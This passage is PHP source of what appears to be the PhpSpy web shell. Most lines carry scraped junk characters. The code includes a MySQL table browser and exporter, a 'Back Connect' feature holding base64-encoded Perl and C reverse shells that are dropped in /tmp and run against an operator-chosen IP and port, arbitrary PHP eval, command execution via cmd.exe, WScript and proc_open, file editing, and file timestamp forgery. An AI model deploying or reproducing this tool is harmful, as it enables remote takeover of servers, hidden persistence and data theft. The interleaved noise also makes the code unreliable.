  1024.                                 $tabledb = array();
    5 B: G0 {( L4 |" ^
  1025.                                 while($table = mysql_fetch_array($query)) {
    * ]- G0 n' j* j  e- c- W1 k, g
  1026.                                         $data_size = $data_size + $table['Data_length'];
    8 z$ H0 p- L! r3 y9 N6 f
  1027.                                         $table_rows = $table_rows + $table['Rows'];
    + Y4 `0 i. _  }- X- V; P( P
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);  \9 h. B/ e9 g& x% ]
  1029.                                         $table_num++;# `# S* h9 C, t: _) k3 O8 a
  1030.                                         $tabledb[] = $table;
    3 {& R$ n7 t8 ?3 p! q
  1031.                                 }$ D; r9 `1 `; T  Z4 U+ W3 I
  1032.                                 $data_size = sizecount($data_size);
    ' q0 S/ c: b+ S- f9 o
  1033.                                 unset($table);' Y5 p4 [- l9 R, y+ V' K6 a5 _2 x; ?
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
    1 [' D# z" Y9 l
  1035.                                 p('<form action="'.$self.'" method="POST">');
    " f$ C% |" @* r( O% L( V) [
  1036.                                 makehide('action','sqladmin');4 ]- n* Z, C/ s8 q) ?! _- v
  1037.                                 p($dbform);
    1 R9 j7 t+ R" k; m. g* o
  1038.                                 p('<tr class="head">');
    , ~3 P1 k& N! }0 q- k. o
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    3 R! E  ?. Q) F
  1040.                                 p('<td>Name</td>');9 J1 _# G: P, ]6 h8 v/ d
  1041.                                 p('<td>Rows</td>');* s7 i0 L4 Z* S" ^
  1042.                                 p('<td>Data_length</td>');  r2 y6 S5 H$ K3 b/ q2 \  X
  1043.                                 p('<td>Create_time</td>');
    3 O) E/ C1 f- q, |& U+ `
  1044.                                 p('<td>Update_time</td>');
    ( w. D* h7 O" v5 v  ^% N) ^4 e1 p
  1045.                                 if ($highver) {* }2 T8 V/ J) D; u$ f, |; B% K
  1046.                                         p('<td>Engine</td>');5 a8 O0 l0 k, b( {+ ^) W- B$ z9 d& g
  1047.                                         p('<td>Collation</td>');; K) ~' F9 m9 ]  }+ H4 D$ L
  1048.                                 }
    % I% w: [1 |5 T* J9 _+ Y
  1049.                                 p('</tr>');0 i( H- h* x$ C+ [( j7 Y
  1050.                                 foreach ($tabledb as $key => $table) {
    : w3 D  w4 m2 ?1 U" @
  1051.                                         $thisbg = bg();
    ; A/ ^, |- H5 r. F2 D
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    * {3 P% |( o5 W8 I( W. i
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');. T7 s1 W5 S8 s; o3 f
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    0 b  N# Z7 X% R9 c! }. k" A9 ~# B: N
  1055.                                         p('<td>'.$table['Rows'].'</td>');  X# |  r& B2 b2 T) e* F% a
  1056.                                         p('<td>'.$table['Data_length'].'</td>');! Z2 _0 L% U( @6 H" k8 p1 r
  1057.                                         p('<td>'.$table['Create_time'].'</td>');1 y6 s& E4 b+ n; B- N5 s3 s
  1058.                                         p('<td>'.$table['Update_time'].'</td>');7 h( _7 \4 S! _% M& d5 w3 E
  1059.                                         if ($highver) {7 {, q) R6 v* J% z# h* ^7 C
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    8 e% g- Z9 U+ |
  1061.                                                 p('<td>'.$table['Collation'].'</td>');
    ! x' v- S2 N2 Y+ J) B2 V! x3 m
  1062.                                         }' `( d6 {$ j# d3 P' j9 D1 _
  1063.                                         p('</tr>');
    3 B! p' _- T' q
  1064.                                 }
    ' H$ P+ Z/ s1 g2 q7 `9 R1 f) L" R
  1065.                                 p('<tr class='.bg().'>');( c$ h# j2 n6 F% x* t  w7 S
  1066.                                 p('<td> </td>');" o2 O! U/ G7 }" K# `# [
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    3 k' m: h! i, \1 {2 z
  1068.                                 p('<td>'.$table_rows.'</td>');
    ! C, j( C9 d2 f# J/ D
  1069.                                 p('<td>'.$data_size.'</td>');, I/ d' i0 o( X
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');4 n6 U2 R1 k' j2 O" V1 ?
  1071.                                 p('</tr>');
      m/ _1 F5 f  [" l$ M6 A7 M/ X
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    * X5 C9 K* G  ~- q% w
  1073.                                 makehide('doing','backupmysql');
    . h8 V3 j4 x( B. I0 l
  1074.                                 formfoot();
    ' F9 M' x# \3 x: m  y9 L
  1075.                                 p("</table>");
    + Z) l) Y, |1 s$ b- m
  1076.                                 fr($query);9 B, I( p, u3 E" Z) L5 v7 t
  1077.                         }
    2 D% N' Q. W" B) t3 ~6 V8 b+ m' c0 F
  1078.                 }+ p# j+ j5 g2 \7 d  |+ `4 p
  1079.         }+ @3 d0 P6 @$ z  S' k
  1080.         tbfoot();
    . J( |# \; y/ J
  1081.         @mysql_close();
    0 J& z0 B3 c$ m: {( T! C& ]
  1082. }//end sql backup
    9 o0 g! |: t1 ]0 y( X
  1083. elseif ($action == 'backconnect') {5 H. }- U3 g( l. W# d( G: R1 P5 w
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    8 U0 x, q) f' Z7 Q* b6 o
  1085.         !$yourport && $yourport = '12345';
    1 L! Q, d- i7 f% t5 F# D( g
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    : @; ]0 e% d7 [' V/ v6 n
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    7 y( y: g9 g! M! D3 d
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    + x3 m% h# ]2 i' b; l# e( j
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".- N8 u$ Z; [7 N3 c% U9 q. u
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    : e" y" I8 S% g- r$ Z. W3 B
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".$ x7 L/ m+ N: c
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".% D2 V/ r" Y  _% ?5 ?8 |
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    9 r( f. V. i6 d0 d7 A
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".8 K4 |9 G2 l( f$ U
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    & U" `  x% S+ K. d8 U
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".8 t: A: l6 Q- N1 L, a3 F
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
    / f* c/ z, I5 M+ g
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    " t2 I$ f0 g4 s- S6 {' N
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    " F* r. v/ N. Q/ D; H. D
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".* t' a+ W. Z; f* L# f
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    9 X% ]( I6 z2 Z! q( S6 ^4 o
  1102.         if ($start && $yourip && $yourport && $use){+ P# k7 e0 ^4 R8 T. o2 G
  1103.                 if ($use == 'perl') {# c7 S: T1 X3 o# u, g# Z2 q: G
  1104.                         cf('/tmp/angel_bc',$back_connect);/ [5 N, J% Z; S" U% d" X( N
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
    : R% y7 _" G) g: ]' }
  1106.                 } else {, }" k, B0 D) m( c1 O
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
    6 p* O" C# U1 C/ K
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    8 W' Y$ V# c" b$ u
  1109.                         @unlink('/tmp/angel_bc.c');
    , o9 Y! Y6 T: s, k
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");2 {0 _& Z0 y3 V, ]% T
  1111.                 }
    / S' @6 \$ \# B5 q9 t/ f$ I7 ^
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    4 W8 G( G# m: M- q$ u
  1113.         }/ s& m8 d+ K8 l
  1114.         formhead(array('title'=>'Back Connect'));" x+ V0 `, b* _, Z& L+ \
  1115.         makehide('action','backconnect');$ d0 c6 V9 w7 O$ E+ B1 e
  1116.         p('<p>');
    9 L" e4 ?( B2 `  B; C1 A& }
  1117.         p('Your IP:');; _2 W% f. b4 v9 h  g
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    6 ]9 `& E) q3 g' x; B! ]
  1119.         p('Your Port:');
    ! X$ A4 C7 o: h. |# J6 j3 O
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    % r. a* ]! N- w  \3 C2 F& M# n" W
  1121.         p('Use:');
    + R# y9 ?* T& e7 k
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));) k- Q! Q: j- S0 V# @' E
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    2 L- _& J1 |8 k( l
  1124.         p('</p>');' }- K; W" z' I1 N. [2 l
  1125.         formfoot();2 G5 I% ]/ Y% S. r; w
  1126. }//end sql backup3 l' F$ E: _) }2 ~9 u$ C+ }
  1127. elseif ($action == 'eval') {, R: K- I1 L4 d4 ]! K% s
  1128.         $phpcode = trim($phpcode);
    ' J4 N" _8 q% g1 B8 U  C# J# d
  1129.         if($phpcode){( O" t: t  D! K! G
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {8 w8 D4 n: P" Q/ J9 U- _; p  q
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";  Z, M$ U2 p* M2 {
  1132.                 }
    1 u' S  r. _7 q' r. O$ k
  1133.                 eval("?".">$phpcode<?");
    ! C; _* D/ R" ^: l7 T3 X) v
  1134.         }8 b% ]/ L! K( |4 s/ s
  1135.         formhead(array('title'=>'Eval PHP Code'));6 X0 F& p% o! I4 ^
  1136.         makehide('action','eval');
    , \/ Y" P* h6 O5 B
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));8 }) }+ S; f; C  W9 M: v0 w
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');) ]; R) m" l9 h2 z3 W% w4 f% y8 S
  1139.         formfooter();! f  o1 _. }9 T* F& ?2 d- Y
  1140. }//end eval1 x8 ^" U3 R$ o/ B
  1141. 9 a4 S$ Z; p( L3 C
  1142. elseif ($action == 'editfile') {
    * M# d% B) Q' a8 ^
  1143.         if(file_exists($opfile)) {# `' A5 v. j4 s9 A# k- g- o
  1144.                 $fp=@fopen($opfile,'r');
    % l  b7 ], ~( S
  1145.                 $contents=@fread($fp, filesize($opfile));8 q0 l: T2 `& V1 z- X
  1146.                 @fclose($fp);6 W7 O! K# i. U4 Y; F3 G
  1147.                 $contents=htmlspecialchars($contents);+ D- n( r; N9 n2 S6 A, I: |/ i! M
  1148.         }
    % N' }* U$ E( g: w& ^7 @
  1149.         formhead(array('title'=>'Create / Edit File'));) s- X7 k: ?; }- u+ }, C& ~
  1150.         makehide('action','file');: t3 M  r( s/ N: ?6 `
  1151.         makehide('dir',$nowpath);
    ) Y8 O  {% U5 a. y, i/ G
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));0 w' y  b5 ^( ]+ s; p/ B, t
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    * O$ \8 h5 a/ n4 U7 C( E. y
  1154.         formfooter();
    5 \9 Y% f4 R, c
  1155. }//end editfile
    ! ~# H# T1 u% i6 ~3 i9 C( _( c

  1156. # Y& A& P& H! L8 P
  1157. elseif ($action == 'newtime') {
    # [0 C$ f+ t4 s' k7 \/ \  ?% n  H
  1158.         $opfilemtime = @filemtime($opfile);
    . ]) q5 z5 j7 M( }5 k
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");- t! ~1 _3 x3 L& S
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    % l; A; i5 n+ X  s+ a) L
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    ) z3 u8 f  m- q. m  [$ K' {( X# `
  1162.         makehide('action','file');
    2 u  Z, j+ w) \, r0 y
  1163.         makehide('dir',$nowpath);; |: I8 L; Z* Y1 K
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    5 s" m) [+ \# n& @! P9 C
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));  A" O# }+ Q9 M# }# y! L( m2 A
  1166.         formfooter();
    % Y. q( [& U! C7 r6 |& Y5 n
  1167.         formhead(array('title'=>'Set last modified'));/ w% ^; g5 z+ t9 E
  1168.         makehide('action','file');2 o" a0 u2 K' V0 i. T8 a( N& ^
  1169.         makehide('dir',$nowpath);
    % E. {) l9 t+ i' L: H) S, g2 e
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));; K7 l- f+ @3 x% }. y! T# ]9 l/ O
  1171.         p('<p>Instead »');: E+ Q4 [- a! J7 `9 g+ f
  1172.         p('year:');
    - i  ~9 O# L5 P8 C% W  n
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));! }4 w  z3 y: W  ?/ l
  1174.         p('month:');2 X0 n4 a; L# Z- b1 w  f. _
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));4 v* w: S  G$ K7 }
  1176.         p('day:');2 q0 O$ c9 v1 M& G3 a" G
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));4 U7 u9 s) X- I- T& O' `
  1178.         p('hour:');/ Y& j  P+ u$ {1 r# S9 y
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    ' z1 ^8 ]0 `( U# k
  1180.         p('minute:');7 K0 U' k7 S9 q# H7 w
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    + ]; B. G2 P6 |. m- I( Q3 H% P
  1182.         p('second:');
    $ \) r' M6 B. r7 Q* ]7 a
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    ! O( h4 @2 k( a  Y- N
  1184.         p('</p>');
    # o: H: g% Y( U6 X4 Q1 F( U( {
  1185.         formfooter();
    5 ]8 u7 y7 e3 g
  1186. }//end newtime
    + z, e  l" c5 i1 y  m

  1187. * P7 Z% V* t. `% v, c& A5 m
  1188. elseif ($action == 'shell') {
      K7 B6 I4 L( `  s- L9 j5 M
  1189.         if (IS_WIN && IS_COM) {
      B1 t: H% K) T
  1190.                 if($program && $parameter) {
      P' e# N+ E7 Q
  1191.                         $shell= new COM('Shell.Application');
    0 i8 O% T# n2 {& x
  1192.                         $a = $shell->ShellExecute($program,$parameter);' F/ G9 t6 W$ r1 ^* f& A" W
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    1 E5 _: H7 h6 L0 q" d+ p' C
  1194.                 }; G" k0 ~4 h2 z* u: w
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    + k) W+ T7 y( Q! y& Y! U3 z% Q3 q
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';0 h7 Y# {0 E% _) W
  1197.                 formhead(array('title'=>'Execute Program'));
    * |5 r3 P7 g7 b8 u- T8 E
  1198.                 makehide('action','shell');
    % z3 _+ _. E( H6 q
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    , w9 Z8 N+ R$ d8 f# ?2 Z  w
  1200.                 p('<p>');
    5 b/ J3 I# [! a4 e6 J/ v
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));7 l( f5 i2 l9 o, M& p/ T
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));$ h1 Q$ V0 Y) W7 W# N; P
  1203.                 p('</p>');$ j; ^$ g. {) @" p+ a* ?$ w7 ~0 r$ b
  1204.                 formfoot();5 |- V0 P( Y& x1 T# U  P6 f
  1205.         }4 q# B3 J# `! z4 x9 y# R
  1206.         formhead(array('title'=>'Execute Command'));
    & c* {2 w" ~( c& v6 U- i
  1207.         makehide('action','shell');% ^& G( u$ h  h5 `1 h) G2 R( \
  1208.         if (IS_WIN && IS_COM) {! ^1 _% Q/ T7 ~3 l
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
    ( i! z; g5 d& K/ Q8 l, u
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));: m" P4 D2 x- u7 F# j% p) X
  1211.         }. i& L% E3 j$ K* v4 g/ J+ b- h
  1212.         p('<p>');9 J: g+ `3 U9 f7 h5 v, X& S  U$ B
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));& ?. M; e+ y+ N# [" n' F2 f5 s
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      b% F( u# z. e
  1215.         p('</p>');
    % O& K1 {, G9 B( m2 J. n# `- f8 \, Z
  1216.         formfoot();4 t; m9 h! w4 r: [3 q* ^
  1217. / p1 h/ _7 }, i, C
  1218.         if ($command) {
    1 S4 z) P6 y3 p2 d9 |+ x/ x
  1219.                 p('<hr width="100%" noshade /><pre>');
    * k, g$ h* [# N  O: q& @3 N
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    / P& N( J  i' T, }+ Z7 Y6 h2 R
  1221.                         $wsh = new COM('WScript.shell');
    ; o9 u' Y0 N% d6 ^$ y6 M+ R- q7 }
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);( v* Y! U" ^. u9 R( d0 e0 c/ S% ?* y. R
  1223.                         $stdout = $exec->StdOut();) @, w+ c7 ]9 E
  1224.                         $stroutput = $stdout->ReadAll();' E) {) A# ^6 e7 U
  1225.                         echo $stroutput;
    4 Q1 W$ `! {) t
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    : r6 M4 w: p4 p2 ]  ^& v7 d
  1227.                         $descriptorspec = array(
      r, V! U3 C4 Q
  1228.                            0 => array('pipe', 'r'),
    + H3 f' k6 F1 ~( R* M# [7 {5 z  m4 W
  1229.                            1 => array('pipe', 'w'),- S8 n4 a# D& R4 g
  1230.                            2 => array('pipe', 'w')
    # P9 i% F* _) M. J
  1231.                         );( \) C( e4 M, c; ?
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    & ]* v8 G* S# n; C8 A) T. N* Q
  1233.                         if (is_resource($process)) {% I; O% h+ c& |8 d; G* X& k4 E
  1234.                                 fwrite($pipes[0], $command."\r\n");
    9 M  \: t, Y& S- q7 \, _; w3 V- H
  1235.                                 fwrite($pipes[0], "exit\r\n");
    ' J$ v0 r) c$ K1 M) L9 ~
  1236.                                 fclose($pipes[0]);3 o6 H4 b7 ^" X3 v3 N
  1237.                                 while (!feof($pipes[1])) {. ~. x0 m8 v9 B+ \" m
  1238.                                         echo fgets($pipes[1], 1024);
    7 c( x% S& B. c" {* R5 y6 D3 c0 s3 B
  1239.                                 }& }; m3 h7 E. d/ ]" ?; @: O6 m; o+ D
  1240.                                 fclose($pipes[1]);, D3 N7 G' f/ i! y' ^* h
  1241.                                 while (!feof($pipes[2])) {
    ( n" b. y* \3 b1 w% O
  1242.                                         echo fgets($pipes[2], 1024);( {- R$ i$ U2 \9 T
  1243.                                 }
    ! D1 y0 e, [/ y7 t; \
  1244.                                 fclose($pipes[2]);# w* L) @8 t1 }% U" Y5 H  B( k2 J  [
  1245.                                 proc_close($process);7 I- G  i% U: q9 p. E
  1246.                         }( x9 Z5 [; i) s6 b& {
  1247.                 } else {
    2 r/ s. T+ K* ~9 l
  1248.                         echo(execute($command));2 ]1 C/ g1 N* t2 e& t0 n  z8 j
  1249.                 }
    # b% k9 P) a0 M1 R; n( Q4 u
  1250.                 p('</pre>');
    / |+ m2 g2 b& [" ^0 l, v& u3 ^% u
  1251.         }+ z( i0 ?2 Y  @+ }( L9 q& V
  1252. }//end shell  z6 w: D. ?9 \' J' }  \
  1253. 3 P1 a; e0 L) w5 p5 F
  1254. elseif ($action == 'phpenv') {
    / \2 o$ d0 u, I
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    $ d/ j. D9 W( N) s% V. K% L2 f
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');# c% F. D% u! O) f- d; P# p
  1257.         !$dis_func && $dis_func = 'No';       
    / e. J% G0 B" H) W1 y) @1 |
  1258.         $info = array(
    / I- ~5 O" j/ a& j: S; a
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),4 x. V$ J3 S9 K% w2 Q/ F
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),5 h2 O$ y  I# n. R( ?3 z) d
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
    % g- W( ?+ r2 O- C
  1262.                 4 => array('Server OS',PHP_OS),! R  ~( L5 }+ e2 X9 T" j
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    ) J+ q0 B5 D$ s& }$ i& B* ?3 X( y
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),4 i! s0 H9 s4 K& `' s5 N; H$ d1 `( r& P
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),  D( d# ^" x  n) g7 i
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
    ) i7 |5 `2 I$ p8 h
  1267.                 9 => array('The file path',__FILE__),
    0 P) G" F. L' w" @/ }+ Y0 [

  1268. : |1 q1 X, N! Z# L" Q
  1269.                 10 => array('PHP Version',PHP_VERSION),
    - U6 Q$ t1 S2 K
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    # b; G5 h# E: t
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    ; d8 }" v  k+ l3 z4 [1 i
  1272.                 13 => array('Administrator',$adminmail),
    * B# u9 L9 i# J0 p
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    + v: D8 _$ Y& f1 X7 l/ k
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),2 a: `! q2 u5 `' [& c
  1275.                 16 => array('display_errors',getcfg('display_errors')),
    " U2 |! w4 P$ z; _( l
  1276.                 17 => array('register_globals',getcfg('register_globals')),
    6 j3 Y7 J& v. w
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),- A5 C# W: U! l2 `
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    % m: V% n2 z. f- N1 K( r* p
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    7 \3 K9 E6 R+ z5 o& E1 Z; x
  1280.                 21 => array('upload_max_filesize',$upsize),
    - u7 r  F! X2 Z! Q# d2 @
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    5 l& D% W6 x. j* e8 N
  1282.                 23 => array('disable_functions',$dis_func),( n& \! k- S6 d3 G& k3 [2 n9 [9 S
  1283.         );3 X$ e" a6 e2 Q: X! w
  1284. # v1 a# d: y0 ~5 J5 R5 H+ Z, w
  1285.         if($phpvarname) {
    ( o6 T$ g& O3 o* u2 Y. a
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    ( S9 r- s$ s" N. L. q: Z
  1287.         }$ u0 G3 v' x! x, `

  1288. 7 P4 L  x: U# e! _8 Z
  1289.         formhead(array('title'=>'Server environment'));8 C  K( Z; ~. X# w, E
  1290.         makehide('action','phpenv');
    5 k2 R5 o0 a8 K0 g9 ^) s; U
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    $ Z3 R. S! _( c$ l
  1292.         formfooter();
    7 R* y! M+ l) \8 O: m+ o* T

  1293. , `! b3 o/ }0 `* l2 ^
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    : J- Q8 B4 }4 d3 W4 M
  1295.         for($a=0;$a<2;$a++) {
    ' G: a! t  j  Y) p2 J, y
  1296.                 p('<h2>'.$hp[$a].' »</h2>');9 r; @: g  [  \3 T2 {2 w% w
  1297.                 p('<ul class="info">');" ]- J) R& m# D3 H5 j3 y6 B5 t
  1298.                 if ($a==0) {& U+ K$ j0 l2 _) |' Z! s$ s$ B
  1299.                         for($i=1;$i<=9;$i++) {! z6 s5 l2 E8 J/ U! I) l
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    2 u$ |5 ~1 \& D
  1301.                         }$ s+ m" _; k5 A
  1302.                 } elseif ($a == 1) {8 d8 m! j! O! ~) R$ l+ k  E
  1303.                         for($i=10;$i<=23;$i++) {
    % \1 e( b' V( s& \6 |! t, C5 e
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    9 A) R9 N& {# @- `) }
  1305.                         }
    / W2 l8 E7 u7 u; J6 V; X" R
  1306.                 }' f) h( Z6 w2 ]! s. V: `$ R
  1307.                 p('</ul>');; T% Z3 |( u& b/ i
  1308.         }
    8 m3 X& ]5 V- ^) h) ^# _% Z# S0 {# _
  1309. }//end phpenv
    ; K; [( u, y7 V8 H: u0 `) P# N
  1310. ' U  ~# N: z) T1 s/ O- L; _& }1 Q
  1311. else {$ @$ J, \1 z0 M& B0 w
  1312.         m('Undefined Action');
    7 K+ O* o, u! n* {, K* i  r2 K* ?9 _
  1313. }
    # Z0 N& z! W  l2 f1 e4 a/ ^
  1314. 6 D8 g1 F8 {: B# Z! z: X
  1315. ?>$ k/ H% C4 d8 K* i5 Q+ `8 x* Y
  1316. </td></tr></table>. {' {. \# A4 V9 ], _8 L
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">0 ]+ Z3 F4 g5 o/ t2 e( Y! L  F1 r$ Q
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      @' I3 y) _* l9 W. |: n
